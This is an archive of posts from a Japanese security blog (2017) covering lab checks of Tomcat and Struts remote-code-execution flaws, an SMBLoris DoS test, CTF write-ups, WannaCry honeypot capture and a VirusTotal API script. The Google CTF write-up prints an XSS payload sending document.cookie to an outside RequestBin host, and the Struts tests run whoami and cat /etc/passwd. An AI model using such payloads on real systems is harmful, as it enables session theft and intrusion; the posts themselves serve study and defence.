2017-10-17

Apache Tomcat の脆弱性(CVE-2017-12617)について

検証

9月の中頃から少し騒がれていたApache Tomcatのリモートコード実行の脆弱性についてです。

関連する脆弱性は CVE-2017-12615、CVE-2017-12616、CVE-2017-12617 の3つです。それぞれが順番に出てきて、情報が小出しにされている感じでしたが、結局条件を満たしていれば、影響範囲は割と広いようです。

結構早い段階で検証している方もいたので、PoCはあるということは分かっていました。

Tomcatの一連のRCEの脆弱性について(CVE-2017-12615, CVE-2017-12617) - Cat.6(ねころっく)

脆弱性の内容自体は以下の通りです(サイオスのセキュリティブログから)。

Tomcatの複数の脆弱性 ( CVE-2017-12617, CVE-2017-12615 , CVE-2017-12616 ) — | サイオスOSS | サイオステクノロジー

CVE-2017-12617

リモートからの任意のコード実行の可能性

重要度 - Important

影響するバージョン : 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46, 7.0.0 to 7.0.81

サーバ上の設定でHTTP PUTが有効になった状態(つまり、readonly initialisationパラメータをfalseに設定している時)でで動作している際に、特別に細工されたリクエストにより、サーバにJSPファイルをアップロードすることが可能です。このJSPにコードを仕込むことで、サーバ上で任意のコードを実行することが可能になります。

9/19に公開されたCVE-2017-12615に対する修正では、この問題は解決されませんでした。

CVE-2017-12615

リモートからの任意のコード実行の可能性

重要度 - Important

影響するバージョン : Windows:

7.0.0 to 7.0.79 Windows上でHTTP PUTが有効になった状態(つまり、readonly initialisationパラメータをfalseに設定している時)でで動作している際に、特別に細工されたリクエストにより、サーバにJSPファイルをアップロードすることが可能です。このJSPにコードを仕込むことで、サーバ上で任意のコードを実行することが可能になります。

この修正は実際には、リリース時のチェックの関係で7.0.81に加えられているため、更新する際には7.0.81にする必要が有ります。

CVE-2017-12616

情報流出の可能性

重要度 - Important

影響するバージョン : 7.0.0 to 7.0.80

VirtualDirContextを使用している際に、セキュリティ制限をバイパスすることが出来ます。これにより、特別に細工されたリクエストを用いてVirtualDirContextにより提供されるJSPリソースのソースコードを見る事が可能になります。

CVE-2017-12617 の検証

Linux環境でTomcatのリモートコード実行を行ってみました。 readonlyパラメータをfalseにしておくと、PUTメソッドでファイルがアップロードできます。

検証環境

Docker 上の Apache Tomcat 7.0.75

設定ファイルの変更

Tomcatの「conf/web.xml」ファイルでreadonlyパラメータをfalseにします。

f:id:blueBLUE:20171016030900p:plain

攻撃コードの実行

脆弱な Tomat サーバに対してPUTメソッドでファイルを設置します。

テストのファイルをPUTし、アクセスすると、ファイルが作成されていることが分かります。

f:id:blueBLUE:20171017232630p:plain

JSPファイルをアップロードすることで任意のコード実行が可能です。

f:id:blueBLUE:20171016030921p:plain

アップロードしたファイルにアクセスして、「whoami」を実行してみます。

f:id:blueBLUE:20171017232804p:plain

コマンドの実行結果が返ってきました。

ちなみに、脆弱な設定になっていないTomcatサーバへPUTをしようとしても403が返ってきます。

f:id:blueBLUE:20171016031027p:plain

脆弱性の内容としてはPUTによるファイルアップロードが実態のようです。JSPファイルをアップロードしてコード実行が行うことができますが、バックドアをアップロードしてコード実行を行うのは一般的な攻撃手法なので、なぜリモートコード実行の脆弱性なのかが分かりません。

検証してみた感想としては、これただのPUTじゃんという思いが強いのですが、PUTが可能ということ自体が重大な脆弱性であるので、アップデートするなり適切な対処をしましょう。

参考

Apache Tomcat における脆弱性に関する注意喚起

Tomcatの複数の脆弱性 ( CVE-2017-12617, CVE-2017-12615 , CVE-2017-12616 ) — | サイオスOSS | サイオステクノロジー

Apache Tomcatに含まれる脆弱性(CVE-2017-12617)に関する脆弱性検証レポート | NTTデータ先端技術株式会社

Tomcatの一連のRCEの脆弱性について(CVE-2017-12615, CVE-2017-12617) - Cat.6(ねころっく)

2017-09-13

今月のApache Strtus 2 のリモートコード実行の脆弱性(S2-052/S2-053)

検証

毎度おなじみのApache Struts 2 のリモートコード実行の脆弱性です。

前回の脆弱性からさほど時間が経っていませんが、今回もまたCriticalな脆弱性が出てきました。

ブログのネタを提供してくれるのはうれしいのですが、余計な仕事を増やされるのは困りものです。

S2-052(CVE-2017-9805)について

S2-052

S20-50～S2-052 までは同時に公開されました。そのうちS2-052 の脆弱性はレートがCriticalとなっており、緊急性の高いものでした。

今回はREST プラグインが有効になっているという前提条件が付きます。

概要

Apache StrutsのRESTプラグインを有効にしていると、XStream ハンドラのデシリアライズの処理に起因してリモートからコード実行が可能になる脆弱性

影響範囲

Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12

修正バージョン

Struts 2.5.13
Struts 2.3.34

対策

修正バージョンへのアップデート
REST プラグインの無効化

検証

今回もすぐにPoCが公開されましたので、検証してみました

Dockerでさくっと、Struts 2.5.12の環境を作ります。

POSTで Content-type ヘッダに「application/xml」にし、ボディにコード実行のPoCを入れます。今回実行するコマンドは「touch /tmp/hackedByMe」としています。

f:id:blueBLUE:20170913203408p:plain

f:id:blueBLUE:20170913203506p:plain

投げます。

f:id:blueBLUE:20170913203527p:plain

500番のエラーが返ってきます。

これで攻撃は成功しているようで、サーバ側で攻撃のプロセスは起動しているようです。

f:id:blueBLUE:20170913203544p:plain

Dockerのコンテナの中に入って確認すると、確かにtouchコマンドで作成したファイルが置いてありました。

応答がエラーページになっており、使用したPoCでは、例えばcatのような標準出力の値をそのまま表示させることはできません。バックドアを作ったり、一度ファイルに書き込んで、外に投げるなどが必要です。

ちなみに脆弱性のない修正版の Struts 2.5.13 で試したところ、同様に500番エラーが返ってきましたが、プロセスは実行されませんでした。

脆弱なバージョンでREST プラグインが有効になっていればほぼ攻撃は成功するため、緊急性の高い脆弱性です。

S2-53(CVE-2017-12611)について

S2-053

S2-052が公開されたしばらく後に公開された脆弱性はレートはModerateとなっています。

こちらはアプリケーションの作りによって回避可能な脆弱性です。

概要

Freemarkerタグの処理に脆弱性があり、開発者が誤った使い方をしていると、リモートからコード実行が可能になる脆弱性

影響範囲

Struts 2.0.1 - Struts 2.3.33
Struts 2.5 - Struts 2.5.10

修正バージョン

Struts 2.5.12
Struts 2.3.34

対策

修正バージョンへのアップデート
実装上の問題はあまり詳しくないので下手なことは書けませんが、Freemarkerタグを使って要求の値を読み取ることができるような実装になっている場合に脆弱性が発生するようです(違っていたらすみません)。

検証

S2-053に対して脆弱なアプリケーションが公開されていたので、検証してみました。 Dockerで引っ張ってきて起動すると、以下のようなアプリケーションが立ち上がります。

f:id:blueBLUE:20170913203619p:plain

nameには任意の値を入れることができ、適当な文字列を入れると、その文字がnameに表示されます。そして、%{100-9}のような値を入れると計算結果の「91」がnameに入ります。

f:id:blueBLUE:20170913203630p:plain

このnameという変数でFreemarkerタグが利用されており、脆弱な状態になっています。ここに攻撃コードを入れます。今回は「whoami」を実行してみます。

f:id:blueBLUE:20170913203641p:plain

ユーザ(root)が表示されました。

また、「cat /etc/passwd」を実行してみると以下のようになります。

f:id:blueBLUE:20170913203655p:plain

こちらは分かりやすいリモートコード実行ですが、アプリケーションがこのデモ用のサイトと同じような作りになっている必要があります。アプリケーション個別の実装を考慮する必要がある分、攻撃者にとっては若干攻撃コストが上がります。

また、脆弱性の範囲はS2-045などをかぶっている部分が多いので、この攻撃を行うならS2-045のほうが…という気もしなくはないです。

ただ、2.3系では最新版以外は有効ですし、S2-045などの脆弱性をパーサの変更などで対処してバージョンアップをしていないというような場合は、影響を受ける可能性があるので、注意が必要です。

参考

Apache Struts 2 の脆弱性 (S2-052) に関する注意喚起

CVE-2017-9805 (S2-052) - 脆弱性調査レポート | ソフトバンク・テクノロジー

Apache Struts 2における脆弱性 (S2-052、CVE-2017-9805)は悪用可能と確認 | セキュリティ対策のラック

Apache Struts 2の脆弱性(S2-052)や(S2-053)についてのまとめてみた。 - にゃんたくのひとりごと

VulApps/s/struts2/s2-053 at master · Medicean/VulApps · GitHub

2017-08-08

DEF CON 25で発表されたSMBLorisの脆弱性を検証してみる

検証

今年のDEF CONで発表されたSMBを狙ったDoS攻撃に関するお話です。

SMBLoris Windows Denial of Service Vulnerability

脆弱性を悪用する攻撃に SMBloris という名前をいう名前を付けています。名前は2009年に見つかったApacheのDoS攻撃である Slowloris に因んだものでしょうか。

影響を受ける範囲は Windows 2000 から Windows 10 までと幅広く、LAC社のブログでは Debian でも成功したとの記述があります。

Windows SMBの脆弱性「SMBLoris」の再現を確認しました | LAC WATCH | 株式会社ラック

SMBLorisのサイトでは以下のように書かれています。

Is Samba affected?

Samba, an alternative to SMB for other operating systems, is also vulnerable in a default install but has a workaround.

Set: max smbd processes = 1000 in smb.conf (usually found in /etc/samba).

デフォルトでは影響を受けるようですが、設定によって回避ができるようです。

すべてのバージョンのSMBで認証不要で攻撃可能ですので、445番ポートが空いていればほぼ攻撃を受けると考えてよさそうです。

脆弱性についてですが、今のところCVE番号などは採番されていないようです。

また Microsoft からはこの脆弱性に対応するパッチは出ないそうです。445番ポート閉じろってことですね。

ここ最近、Eternalblue みたいな445番ポートを狙った攻撃がしょっちゅう話題になっていたので、まさか今更そんなポートを外部に公開している企業なんかないだろう、と信じています。

検証

各所で検証動画とかが公開されているので、新しさはないですが、ちょっとやってみました。

とはいえやるのは、PoCを打つだけです。

攻撃先は Windows 10 です。

で、打った際のタスクマネージャ。

f:id:blueBLUE:20170808001521p:plain

メモリの使用率が急激に上昇しています。

表示上は72%ですが、この時点でタスクマネージャが固まって動かなくなりました。

攻撃先ホストへPingを打っていたのですが、そこそこlossしています。

f:id:blueBLUE:20170808001920p:plain

攻撃止めてもしばらくは固まったままでした(普段使いのPCだったからちょっと心配した)。

検証は以上です。SMB経由のDoSが攻撃としてどの程度有用かわかりませんが、通常の脆弱性への対処ができていれば、今回の攻撃の影響はそこまでではないかなという所感です。

参考

DEFCON-25-zerosum0x0-alephnaught-Koadic-C3

Windows SMB Zero Day to Be Disclosed During DEF CON | Threatpost | The first stop for security news

Microsoft Will Not Patch SMBLoris Vulnerability

2017-07-16

Apache Strutsの脆弱性(S2-048)について

7月7日(金)の夜から7月8日(土)の日付が変わるくらいから、一部で騒いでたApache Strutsの新しい脆弱性です。さすがに前回の脆弱性S2-045とS2-046がかなり大きな影響を与えただけあって、セキュリティ関係者はアンテナ張っていたようで、情報は早かったですね。公開されたのは、週末というちょっと嫌な時間でしたが。

注意喚起

Apache Struts 2 の脆弱性 (S2-048) に関する注意喚起

S2-048概要

S2-048

またリモートコード実行です。ただ、今回は影響範囲は限定的です。

脆弱なバージョン

　Apache Struts 2.3.x

本脆弱性は、Struts アプリケーションを、Struts 1 Plugin を使用して動作させている場合に影響を受ける可能性があります。Struts アプリケーションに対する本脆弱性の影響について、詳細は Struts アプリケーションの開発者からの情報を参考にしてください。

修正バージョン

　Apache Struts 2.3.33 ( Version Notes 2.3.33 )

ちなみに今回も、脆弱性公開時点で公式には修正バージョンが上がっておらず、Gitなどにあるテストリリースのみという状態でした。

検証

今回もPoCが出るのは早かったです。ということで、さくっと検証してみました。

Dockerでコンテナを立ち上げて、サンプルアプリのshowcaseを動かします。

f:id:blueBLUE:20170710224353p:plain

このページがStruts 1 pluginの動いているページで、ここに対して攻撃コードをPOSTで送ります。「echo testtesttest」を実行してみます。

f:id:blueBLUE:20170716195456p:plain

攻撃時のパケット(レスポンス)です。実行したコマンドの結果が返ってきてます。この辺りは以前のS2-045などと同じです。

ただし、S2-048ではStruts 1 pluginが動いているパスにしか効きません。サンプルアプリケーションでは、「/struts2-showcase/integration/saveGangster.action」が対象です。

このStruts 1 pluginをどこで使っているかは上にのっているアプリケーションの作りによると思いますが、外から攻撃対象となるパスを判別することはできないのではないでしょうか。また、Struts 1 pluginを利用しているだけではなく、メッセージを受け取り、脆弱性のあるメソッドで処理するような実装である必要があり、攻撃の条件は厳しいと思われます。そのため、実質的にサンプルアプリケーションくらいにしか攻撃は成功しないのかもしれません。

S2-045の場合はStruts 2を利用していたらどの時点でアウトだったので、無差別な攻撃が当たることもありましたが、今回はそこまでの影響はなさそうです。とはいえ、対策はちゃんとしましょう。

Apache Software Foundation からは、回避策として入力値を適切に処理することが示されています。

※ showcase 内のサンプル Struts アプリケーションに対する回避策の例 (適用前) messages.add(“msg”, new ActionMessage(“Gangster ” + gform.getName() + “ added successfully”)); (適用後) messages.add(“msg”, new ActionMessage(“Gangster ”, gform.getName()));

なお、JPCERT/CC では、本回避策の適用後、本脆弱性に対する実証コードの実行により脆弱性を悪用されないことを確認しています。また、回避策の適用が難しい場合には、不特定多数からのアクセスを制限することや、WAF (Web Application Firewall) の利用などの対策を検討してください。

S2-047とS2-049

なぜ番号が飛ばされたのか分かりませんが、今回はS2-048が先に出て、そのあとでS2-047とS2-049が出ました。

S2-047

S2-049

上記2つはいずれもDoSの脆弱性であり、Maximum security ratingもそれぞれ、LowとMidiumとなっており、そこまで影響の大きな攻撃ではなさそうです。

今回は攻撃を受けたりとあまり大きな騒ぎになってはいませんが、S2-045と同じようなRCEの脆弱性が今後も出てくる可能性があるということは十分わかりました。情報を追いかけていく必要はありそうです。

2017-07-01

Google CTFとTrendmicro CTF

2週間連続でCTFに参加しましたので、まとめて記事にします。

Google CTF : 2017/5/17, 00:00 UTC — 2017/6/18, 23:59 UTC
Trend Micro CTF : 6月 2017/6/24, 04:00 UTC — 2017/6/25, 04:00 UTC

それぞれ問題の傾向に違いはありますが、全体的にGoogle CTFの方が難易度は高かったと思います。バイナリの知識はもちろんですが、構築やサーバよりの技術、それからGoogleの技術に関する知識も多少必要になります。対してTrendmicroのCTFは今回はネットワーク系の問題が多く、セキュリティを専門にやっている人がとっつきやすい問題が多かったように思います。

以下簡単な Write Up です。

Google CTF

Joe

解けそうで解けなかった問題です。 Web系の一番簡単な問題ですが、CTF開始時にはバグがあったとかで引っ込められ、1日経ったくらいに再出という形でした。

サイトにアクセスすると、パーソナルアシスタントがいるので、色々話をしてみようというもの。色々クリック可能な部分があるので、とりあえず遊んでみます。

f:id:blueBLUE:20170629214842p:plain

問題を解くのに重要な機能としては以下

what is your name ⇒アシスタントの名前を確認できる
let me rename you ⇒アシスタントの名前を変更できる
Log in ⇒Googleアカウントを使ってログインできる
report bug ⇒バグレポート(サーバがAdminで送ったURLにアクセスする)
the admin page ⇒管理者用ページ(入れない)

ちなみに、サーバでは多分送信した文字列に単語が含まれているかで判断していると思われます。「name」と「report」とかだけで機能が使えます。

管理者ページに入るにはAdminのCookieが必要ということでAdminのCookieを取得できればフラグがゲットできると予想できます。で、Cookieですからまあ、XSSかなと想像します。

色々やってログインした後、アシスタントの挨拶の名前部分にXSSの脆弱性を発見します。

f:id:blueBLUE:20170629215254p:plain

アシスタントの名前を＜s＞タグで囲ってやって、再読み込みするとアシスタントの名前部分が取り消し線で消されています。

f:id:blueBLUE:20170629215307p:plain

スクリプトタグも実行できます。

f:id:blueBLUE:20170629215333p:plain

アシスタントの名前はログインしているユーザによります。ここまでくると、攻撃の流れが読めてきます。

ユーザAでログイン
アシスタントの名前部分でXSSを仕掛ける
レポート機能でAdminにユーザAでログインさせる
クッキーゲット

やってみます。ログイン時のURLを確認します。

アシスタントの名前を以下のように変更します。

<script>window.location='https://requestb.in/********?'+document.cookie;</script>

アクセスさせるサイトにはRequestBinを利用しました。今回のCTFで初めて使ったのですが、結構便利です。

RequestBin — Collect, inspect and debug HTTP requests and webhooks

AdminにアクセスさせるURLを調べます。

f:id:blueBLUE:20170629220217p:plain

「login?」でトークンを渡している部分があるので、ここにアクセスさせます。で、ログインさせるURLにアクセス……が、URLが長すぎると言われました。

ちなみに私はここで色々試しているところで時間切れになりました。(そもそもXSSの脆弱性を見つけたのがCTF終了1時間前くらい……)

正解は別のサイトを経由させて、このURLにアクセスさせる、ということでした。

自分のVPS上のDockerでWebサーバを立てて、以下のファイルを置きます。

<script type="text/javascript">window.location='https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSU...(省略)';</script>

で、バグレポートでここにアクセスさせます(サーバのIPを伏せてます)。

f:id:blueBLUE:20170629221251p:plain

これでAdminは、「私のサーバ」⇒「アシスタントのサイトに私のアカウントでログイン」⇒XSSによりRequestBinにAdminがアクセスという流れになります。

RequestBinのアクセス履歴。

f:id:blueBLUE:20170629222535p:plain

フラグをゲット。

Trendmicro CTF

Forensic 100

問題はパケットです。ネットワークフォレンジックですね。内容はDNSリクエスト。明らかに怪しい名前解決のクエリがあります。

f:id:blueBLUE:20170629231825p:plain

これを見た瞬間にDNSトンネリングを行うマルウェアのC2通信という想定だろうと思いました。

こういうマルウェアの類だろうと。

OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信 - Palo Alto Networks

標的型攻撃で使われたマルウェアを解析して C2 サーバを作った。そのマルウェアは DNSトンネリングを行う珍しいものだった。 -

ということで、DNSのクエリを取り出します。

tshark -r output.pcap -T fields -e dns.resp.name | grep co.jp | awk -F . '{print $1}'

tsharkを使い慣れていないので調べながら…。

f:id:blueBLUE:20170629224336p:plain

20文字の列が沢山と最後に切れ端みたいなの。なんとなく、これ全体で1つの意味を持つのだと想像できます。

で、デコードですが、Base64ではない、そう簡単ではないかと思いつつも、こういう系の問題は大体Base～だろうとあたりをつけます。Base16やBase32にしては文字の種類が多いとか思いつつ、「Base5」までGoogleで入れたらBase58がサジェストされました。

Base58 - Wikipedia

Bitcoinなんかで使われているようですね。

オンラインのデコーダを探してぶち込んで終わり。

Base58 Decode Text - Base58 String Decoder - Online - Browserling Web Developer Tools

Misc 100

壊れて読み取れないパケットの解析。バイナリエディタで見たら後半の方でFTPでなんかの鍵をやり取りしているので、それを使って通信を復号するんだろうなーとか思いつつ放置していました。

同じチームの人がパケットをWiresharkなどで読み取れるように修復してくれたのですが、それだけではフラグを取得できていないようだったので、自分でもやってみました

WiresharkでSSL通信を復号。FTPで送っている鍵はNSS Key Log Format( NSS Key Log Format - Mozilla | MDN )とかいうやつ。

HTTP2でなんかやってる。HTTP2だとヘッダなんかも圧縮されて読めないんですね。

Wiresharkが解析してくれた部分を追っていくと、なんかのサイトにアクセスしている。アクセス先はもう消えている。

f:id:blueBLUE:20170629225331p:plain

オブジェクトをWiresharkからエクスポートできないので、通信をバイナリとしてそのままダンプ、画像はForemostで切り出し、他はgzipで圧縮されているので、とりあえず7zipで開いたら普通に取り出せた(7zip便利)。

ちなみにサイトのパーツは以下の通り。

/ (index.html)
/main.css
/images/beer-2288121__340.jpg
/images/blueberries-2278921__340.jpg

取り出してサイトを再現してみる。サイトの内容は読めない(ラテン語？) 画像はGoogle画像検索すると色々出てくるので、多分フリー素材。

main.cssにはBase64で埋め込まれた画像があり、index.htmlではそれらを上半分と下半分に切り分けた2枚の画像が貼り付けられています。また、ソースの中に「HINT: visual cryptgraphy」とあります。

f:id:blueBLUE:20170629230051p:plain

で、これらを重ね合わせればいいんじゃね、ってことで、Base64から元画像を復元し、Gimpで重ねると答えが出てきました。

f:id:blueBLUE:20170629230211p:plain

以上です。久しぶりに問題が解けて嬉しかったです。今回参加したものは割と実践に近く、色々と勉強にもなりました。

後、途中で放り出した問題も方向性はあっていたので、復習しておきたいです。

CTFは自分のレベルにあったものをやるべきだと改めて感じました。

2017-05-27

野生のWannaCryを捕まえたい

話題になったWannaCryに関するお話です。 WannaCry自体についてはセキュリティ関係問わず、一般に大分広まったので、あらためて話すことでもないかなあと思います。

例によって詳しいまとめです。

d.hatena.ne.jp

世界的に流行ったランサムウェアですが、WindowsのSMBの脆弱性、MS17-010を悪用し、感染を広げるワームとしての機能を持っているという特徴が特筆すべき点でしょう。

いつものメールやWeb感染起因では、ユーザが目の前にいての感染ですが、今回の場合は知らない間に侵入されて、いつのまにか暗号化というパターンのため、感染端末がその管理者より早く第三者の目に触れることが多く、一般の方々の話題に上りやすかったのではないでしょうか。

とはいえ、話題のわりに日本での被害はそれほど多くはなかったようです。日本の場合、一般の家庭ではブロードバンドルータが端末の間にいるので、グローバルのIPへの攻撃があっても、端末に直接445番ポート宛の攻撃が届くことはまずないようです。

WannaCryの感染経路ですが、事態がおおよそ収束してから、各セキュリティ会社が考察を行っています。

ランサムウェア「WannaCry／Wcry」のワーム活動を解析：侵入／拡散手法に迫る | トレンドマイクロセキュリティブログ

How did the WannaCry Ransomworm spread? - Malwarebytes Labs | Malwarebytes Labs

大規模ランサムウエア感染に関する緊急調査レポートを公開 | NTTデータ

初期感染にはNSAのバックドアツールである DoublePulser が利用されたとの見方が強いです。DoublePulser がどこから侵入したかは不明ですが、侵入された端末はWannaCry感染以前からこのバックドアがインストールされていた可能性が高いということになります。

今回のWannaCryをばらまいた犯人が事前に準備していたものなのか、それとも別の人間がほかの目的で準備していたものをWannaCryが横取りしたのか、そのあたりはわかりません。

WannaCryの感染活動ですが、TrendMicroのブログによると、以下のようになっています。

1.1　ローカルネットワーク内の端末を列挙しスキャンする
1.2　グローバル、ローカル含め、無作為なIPアドレスに対してもスキャンする
スキャン対象の端末に SMB の 445番ポートで接続し、「MS17-010」の脆弱性の存在を確認
2.1　脆弱性が存在した場合
2.1.1　DoublePulsar の存在を確認
2.1.1.1　DoublePulsar が存在した場合はDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる
2.1.1.2　DoublePulsar が存在しなかった場合は「MS17-010」の脆弱性を利用して DoublePulsar を感染させる
※この際、脆弱性によって DoublePulsar のコードがメモリ中で直接実行され、ファイルとして DoublePulsar が感染端末に存在することはない
2.1.1.2.1　感染させたDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み、感染させる
2.2　脆弱性が存在しない場合
2.2.1　DoublePulsar の存在を確認
2.2.1.1　DoublePulsar が存在した場合は DoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる

つまり攻撃対象にDoublePulserが存在しているかどうかにかかわらず、感染の際には必ずDoublePulserを経由してのインストールが行われます。

このWannaCryをハニーポットで収集できないかと思っていたのですが、DoublePulserが動く環境でなければWannaCryまでは入ってこないようです。なので、低対話型のハニーポットでは難しいのかと諦めていました。が、

New SMB code release: open source honeypot Dionaea is capturing #WannaCry in the wild! https://t.co/QfJ1K3tM7l #ETERNALBLUE @ProjectHoneynet
— keansiong (@gento_) 2017年5月24日

すごい人がいるものですね。

早速使ってみました(利用は自己責任でお願いします)。

GitHub - gento/dionaea: dionaea low interaction honeypot (forked from dionaea.carnivore.it)

インストールなどは通常のDionaeaと同じです。

結果ですが、動かして数時間でいくつかそれらしい検体が捕れていました。

f:id:blueBLUE:20170527212312p:plain

ファイルサイズがすべて同じですが、ハッシュ値は異なります。検知回避目的のポリモーフィズムの手法だと思われます。

このうち一つをVirusTotalに投げてみました。

Antivirus scan for 86963c4751030168f7ebba58a99cf567ab7dd56ec4ff22ba785101aea45cd97e at 2017-05-27 11:57:17 UTC - VirusTotal

多分他も同じような検知になると思います。

このDionaeaのモジュールはDoublePulserの動きを模擬しているのだと思います。

445ポートに来た通信にはすべてDoublePulserが答えるようになっているのかとか、詳しいことは全然分かっていませんが……。

ともあれ、低対話型のハニーポットでもWannaCryを捕まえられるんですね。本当にこういったツールを作っている方々には頭が下がります。

しばらく動かして観察してみたいと思います。

2017-04-22

セキュリティ関連の調査に利用できるWebサービスについて

OSINT(Open Source Intellihence)というそうですね。いつの間にそういった言葉ができたのか、知りませんでしたが、どんな分野でも有用なWebサービスにはお世話になるものです。

セキュリティのWebサービスで有名どころと言えば VirusTotal があります。検体を投稿し、各ベンダーの製品でスキャンした結果を表示してくれます。他に、Webサイトのスキャンやファイルのハッシュ値でのスキャン結果の検索、IP、ドメインの情報の検索など、利用可能な情報は多岐にわたります。

VirusTotalだけの話ではありませんが、投稿するファイルに機密な情報が含まれていないかは確認しておきましょう。こうした外部Webサイトへのファイルのアップロードは一般公開されても困らないもののみに限定すべきです。

こういった外部情報サイトは他にもあります。Webサイトの情報に特化したもの、マルウェア解析に特化したものなど、それぞれの特性に合わせて利用すれば、特別なツールなど使わなくても、かなりの調査が可能です。いくつか挙げてみます。

Webサイト調査系

aguse.jp: ウェブ調査 - Webサイトの情報の調査ができる。ゲートウェイではサイトを画像として表示してくれて、リンクをたどることもできるので便利。時々ちょっと重い。
urlquery.net - Free URL scanner - Webサイトの調査。埋め込まれたスクリプトなどを見やすく表示してくれる。
Rex Swain's HTTP Viewer - サイトのコンテンツをそのまま表示してくれる。バイナリファイルもダンプして表示してくれるのが便利。

マルウェア解析系

Malwr - Malware Analysis by Cuckoo Sandbox - Cuckoo Sandboxでのマルウェアの解析結果を表示してくれるサイト。Sign Upしないと使いにくいかもしれない。
Free Automated Malware Analysis Service - powered by VxStream Sandbox - こちらもマルウェアのサンドボックス解析の結果を表示してくれる。

IP/ドメイン調査

DomainTools - ドメインのwhois情報などを引いたりしてくれるサイト。
Threat Crowd | Threatcrowd.org Open Source Threat Intelligence - ドメインやIPからそこに関連する別のIPやドメインを表示してくれる。視覚的に面白い。
RiskIQ - PassiveTotal - ドメインやIPの情報を表示したり、そこに関連するIPやドメインの情報を表示したり。機能は豊富。登録が必要。

その他

Shodan - インターネットに接続されている機器をスキャンし、その情報を提示してくれる。
Censys - こちらもShodanみたいにスキャンしているサイトらしい。

他に同じようなサービスは様々あります。用途に応じて自分の使いやすいサービスを探すのが良いかと思います。

また、もう少し凝ったことをしたいという時には、こういったいくつかのサービスではAPIを提供しています。

例えば、VirusTotalではアカウントを作成し、APIキーを入手すれば、1分で4リクエストまでという制限はありますが、API経由での調査が可能です。

Public API version 2.0 - VirusTotal

こういうAPIの利用方法は公式のドキュメントが一番わかりやすかったりするので、そちらを読んで利用するのが良いと思います。

PythonでAPIを利用してみます。 (APIを利用する時のためのモジュールを作っておくと、後々便利なんだじゃないかと思いました)

‘virustotal.py'として以下のようなスクリプトを用意します。

import requests

apikey = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

url_hash = 'https://www.virustotal.com/vtapi/v2/file/report'
url_scan_url = 'https://www.virustotal.com/vtapi/v2/url/scan'
url_report_url = 'http://www.virustotal.com/vtapi/v2/url/report'
url_ip = 'http://www.virustotal.com/vtapi/v2/ip-address/report'
url_domain = 'http://www.virustotal.com/vtapi/v2/domain/report'

def getHashReport(filehash):
  params = {'apikey': apikey, 'resource':filehash}
  headers = { "Accept-Encoding": "gzip, deflate"}
  response = requests.get(url_hash ,params=params, headers=headers)
  json_response = response.json()
  return json_response

def getUrlScan(url):
  params = {'apikey': apikey, 'url':url}
  response = requests.post(url_scan_url, data=params)
  json_response = response.json()
  return json_response

def getUrlReport(url):
  headers = { "Accept-Encoding": "gzip, deflate"}
  params = {'apikey': apikey, 'resource':url}
  response = requests.post(url_report_url, params=params, headers=headers)
  json_response = response.json()
  return json_response

def getIPReport(ip):
  params = {'apikey': apikey, 'ip': ip}
  response = requests.get(url_ip, params=params)
  json_response = response.json()
  return json_response

def getDomainReport(domain):
  params = {'apikey': apikey, 'domain': domain}
  response = requests.get(url_domain, params=params)
  json_response = response.json()
  return json_response

APIキーは各自のものを使ってください。これを用意しておけば、後は使いたいときに外からこのスクリプトを読み込んで関数を呼び出すだけです。

テスト用のスクリプトを用意。

import virustotal as vt
import time
import json

if __name__ == '__main__':
  hashsum = 'ffffffffffffffffffffffffffffffff'
  url_scan = 'www.xxx.xyz/index.php'
  domain = 'www.xxx.xyz'
  ip_addr = 'XX.XX.XX.XX'

  print '--File Report--'
  result = vt.getHashReport(hashsum)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--URL Scan--'
  result = vt.getUrlScan(url_scan)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--URL Report--'
  result = vt.getUrlReport(url_scan)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--IP Report--'
  result = vt.getIPReport(ip_addr)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--Domain Report--'
  result = vt.getDomainReport(domain)
  print json.dumps(result, indent=2)

1分に4リクエストまでなので、一応1回ごとに16秒のインターバルをいています。ハッシュ値とか、URLとかは適当なものを入れてください。

結果はjsonで返ってきます。'virustotal.py'ではそれを辞書型にして返してくれます。テストスクリプトではそれを改めてjsonとしてダンプします。

結果は出力されたものを見てもらえば、どのように結果が出るかわかると思います。うまいこと必要な情報を抜き出していきましょう。

こういう感じで、他のサービスのAPIも手軽に扱えるよう、準備しておきたいですね。色々なサービスを連携して簡単に情報を収集できるような環境を目指しましょう。